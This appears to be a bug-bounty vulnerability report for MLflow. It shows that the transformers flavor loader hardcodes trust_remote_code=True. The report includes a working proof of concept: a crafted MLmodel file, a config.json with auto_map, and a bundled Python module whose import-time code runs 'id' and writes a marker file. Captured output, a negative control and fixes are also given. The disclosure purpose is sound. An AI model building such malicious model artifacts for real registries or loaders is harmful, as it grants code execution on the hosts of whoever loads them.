EnigmaConsultant/huntr-poc-mlflow-transformers-trust-remote-code-rce

MLflow transformers flavor hardcodes trust_remote_code=True → RCE via attacker-controlled pipeline_model_type

Target: mlflow/mlflow — PyPI mlflow==3.14.0 Dependency exercised: transformers==4.46.3 (real PyPI) Vulnerable file: mlflow/transformers/model_io.py Class: Remote Code Execution via untrusted model artifact deserialization/loading Impact: Arbitrary code execution on mlflow.transformers.load_model() / mlflow.pyfunc.load_model() of an attacker-supplied model directory. No pickle involved; not gated by MLFLOW_ALLOW_PICKLE_DESERIALIZATION.

---

Summary

The MLflow transformers flavor loader unconditionally routes attacker-controlled model metadata into transformers "custom code" loading machinery with trust_remote_code=True hardcoded. An operator who loads a malicious MLflow model directory (a fully attacker-controlled artifact) executes attacker Python at model-load time, before any weights are loaded.

The trigger field is pipeline_model_type in the bundled MLmodel YAML. If that value is not a native transformers attribute, the loader falls into a branch that calls AutoConfig.from_pretrained(..., trust_remote_code=True). transformers then honors the co-bundled pipeline/config.json auto_map field and importlib-imports the attacker's co-bundled .py file — running module-level code.

Because pickle is never used, the existing MLflow pickle mitigation (MLFLOW_ALLOW_PICKLE_DESERIALIZATION) provides zero protection here. There is no trust_remote_code=False opt-out and no warning.

---

Root cause (verbatim source, mlflow==3.14.0)

mlflow/transformers/model_io.py, _load_model() — the branch selection:

298: def _load_model(model_name_or_path, flavor_conf, accelerate_conf, device, revision=None):
     ...
307:     if hasattr(transformers, flavor_conf[FlavorKey.MODEL_TYPE]):
308:         cls = getattr(transformers, flavor_conf[FlavorKey.MODEL_TYPE])
309:         trust_remote = False
310:     else:
311:         cls, trust_remote = _load_class_from_transformers_config(
312:             model_name_or_path, revision=revision
313:         )

flavor_conf[FlavorKey.MODEL_TYPE] is the pipeline_model_type field read directly from the attacker-controlled MLmodel YAML. When it is not a native transformers attribute, the else branch is taken.

_load_class_from_transformers_config() — the hardcoded trust:

248: def _load_class_from_transformers_config(model_name_or_path, revision=None):
     ...
257:     config = AutoConfig.from_pretrained(
258:         model_name_or_path,
259:         revision=revision,
260:         # trust_remote_code is set to True in order to
261:         # make sure the config gets loaded as the correct
262:         # class. if this is not set for custom models, the
263:         # base class will be loaded instead of the custom one.
264:         trust_remote_code=True,
     )

AutoConfig.from_pretrained(local_dir, trust_remote_code=True) reads pipeline/config.json, sees auto_map, and calls transformers' get_class_from_dynamic_module, which importlib-imports the named local .py module — executing its top-level statements. The model class is subsequently loaded with trust_remote_code=True as well (load path around lines 316-317). RCE occurs at the AutoConfig.from_pretrained step, before weights load.

Reachability: mlflow.transformers.load_model() → _load_model → load_model_and_components_from_local → model_io._load_model. Also reachable via mlflow.pyfunc.load_model(). These are the standard, documented entry points.

---

Proof of Concept

A malicious MLflow model directory is hand-crafted — no torch, no real weights, no pickle required:

1. MLmodel declares the transformers flavor with task: text-classification and pipeline_model_type: EvilForSequenceClassification (a non-native class name → forces the trust_remote_code=True branch).
2. pipeline/config.json sets "auto_map": {"AutoConfig": "configuration_evil.EvilConfig"}.
3. pipeline/configuration_evil.py contains module-level os/subprocess code plus an EvilConfig(PretrainedConfig) class.

Calling mlflow.transformers.load_model(MODEL_DIR) imports the bundled module and runs arbitrary code (spawns id, writes a marker file) before any model weights load.

Malicious MLmodel

flavors:
  transformers:
    task: text-classification
    pipeline_model_type: EvilForSequenceClassification   # non-native → RCE branch
    model_binary: pipeline
    components: []
    transformers_version: 4.46.3
mlflow_version: 3.14.0

pipeline/config.json

{
  "architectures": ["EvilForSequenceClassification"],
  "auto_map": {"AutoConfig": "configuration_evil.EvilConfig"},
  "model_type": "evil"
}

pipeline/configuration_evil.py

from transformers import PretrainedConfig
import os, subprocess
# ===== ARBITRARY CODE EXECUTION at module-import time =====
open("PWNED_MARKER.txt", "w").write("pwned uid=" + str(os.getuid()) + "\n")
subprocess.run(["id"])
print("[EVIL] configuration_evil.py imported and executed; RCE achieved", flush=True)

class EvilConfig(PretrainedConfig):
    model_type = "evil"

Full driver scripts: build_and_load.py (exploit) and negctl.py (negative control).

---

Captured evidence (verbatim)

Environment: real PyPI mlflow 3.14.0, transformers 4.46.3, venv /home/kali/hunt-workspace/mlflow-flavors-audit/v4.

$ python build_and_load.py
Marker before load exists: False
============================================================
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...,1000(kali)
[EVIL] configuration_evil.py imported and executed; RCE achieved
[load_model raised after config resolution]: MlflowException Couldn't find a loader class for EvilForSequenceClassification
============================================================
Marker AFTER load exists: True
MARKER CONTENTS: pwned uid=1000

The MlflowException is raised after the attacker module has already been imported and executed — the RCE has already occurred by the time MLflow fails to resolve the loader class.

Negative control (native pipeline_model_type)

$ python negctl.py
[raised]: ImportError  BertForSequenceClassification requires the PyTorch library but it was not found in your environment...
NEG marker exists (should be False): False

An identical artifact whose only change is pipeline_model_type: BertForSequenceClassification (a native class) takes the hasattr(transformers, ...) == True branch, sets trust_remote = False, does not import the bundled module (no marker written), and fails with a clean torch-missing ImportError. This proves the RCE is specifically enabled by the attacker choosing a non-native pipeline_model_type that routes into the hardcoded trust_remote_code=True path — not an incidental side effect of loading.

---

Impact & attack scenario

Any workflow that loads a third-party / downloaded / registry-sourced MLflow transformers model — a common pattern in MLOps (model registries, shared artifact stores, CI that loads candidate models) — grants the artifact author code execution on the loading host. The artifact is entirely attacker-controlled: it defines the flavor metadata, the config.json auto_map, and the bundled .py payload.

Crucially, this bypasses the mental model that "I disabled pickle deserialization, so loading models is safe." The pickle gate (MLFLOW_ALLOW_PICKLE_DESERIALIZATION) is never consulted on this path; a hardened operator is still fully exposed.

Suggested remediation

• Do not hardcode trust_remote_code=True. Gate custom-code loading behind an explicit opt-in (env var / load argument), defaulting to False, mirroring the pickle gate.
• Emit a loud warning when the loader is about to import bundled custom code from an artifact.
• Validate pipeline_model_type against an allowlist of native transformers classes before falling back to dynamic-module loading.

Dedup note

• Distinct from MLflow pickle-deserialization RCEs (e.g. the MLFLOW_ALLOW_PICKLE_DESERIALIZATION family): no pickle is used and that gate does not apply.
• Distinct from generic HuggingFace trust_remote_code warnings: here the value is hardcoded True by MLflow with no operator opt-out, reached from MLflow's own standard load entry points on an artifact the operator did not author.
• Distinct from other MLflow flavor loader RCEs (xgboost model_class, pytorch pickle module import, statsmodels, h2o, llama-index): different flavor, different sink (AutoConfig.from_pretrained(trust_remote_code=True) + auto_map dynamic import), different attacker-controlled field (pipeline_model_type).
• No CVE identified for this specific pipeline_model_type → hardcoded trust_remote_code=True transformers-flavor path at time of writing.